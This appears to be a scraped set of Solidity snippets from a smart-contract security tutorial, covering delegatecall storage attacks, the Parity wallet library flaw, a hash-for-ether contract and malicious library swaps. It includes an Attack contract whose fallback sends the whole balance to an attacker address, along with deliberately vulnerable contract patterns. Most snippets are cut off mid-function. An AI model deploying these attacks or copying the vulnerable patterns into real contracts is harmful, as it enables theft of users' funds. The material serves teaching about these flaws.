vasa-develop

contract Attack {
    uint storageSlot0; // corresponds to fibonacciLibrary
    uint storageSlot1; // corresponds to calculatedFibNumber
   
    // fallback - this will run if a specified function is not found
    function() public {
        storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
        // is called we don't send out any ether. 
        <attacker_address>.transfer(this.balance); // we take all the ether
    }

vasa-develop

contract WalletLibrary is WalletEvents {
  
  ...
  
  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);

vasa-develop

contract Wallet is WalletEvents {
  ...
  // METHODS
  // gets called when no other function matches
  function() payable {
    // just being sent some cash?
    if (msg.value > 0)
      Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
      _walletLibrary.delegatecall(msg.data);

vasa-develop

contract HashForEther {
    
    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0. 
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }
     
     function _sendWinnings() {
         msg.sender.transfer(this.balance);

vasa-develop

contract WalletLibrary is WalletEvents {
  
  ... 
  
  // METHODS
  ...
  
  // constructor is given number of sigs required to do protected "onlymanyowners" transactions
  // as well as the selection of addresses capable of confirming them.
  function initMultiowned(address[] _owners, uint _required) {

vasa-develop

//encryption contract
contract Rot13Encryption {
     
   event Result(string convertedString);
   
    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];

vasa-develop

import "Rot13Encryption.sol";
// encrypt your top secret info
contract EncryptionContract {
    // library for encryption
    Rot13Encryption encryptionLibrary;
        
    // constructor - initialise the library
    constructor(Rot13Encryption _encryptionLibrary) {
        encryptionLibrary = _encryptionLibrary;
    }

vasa-develop

//encryption contract
contract Rot26Encryption {
     
   event Result(string convertedString);
   
    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];

vasa-develop

contract Print{
    event Print(string text);
    
    function rot13Encrypt(string text) public {
        emit Print(text);
    }
 }

vasa-develop

contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }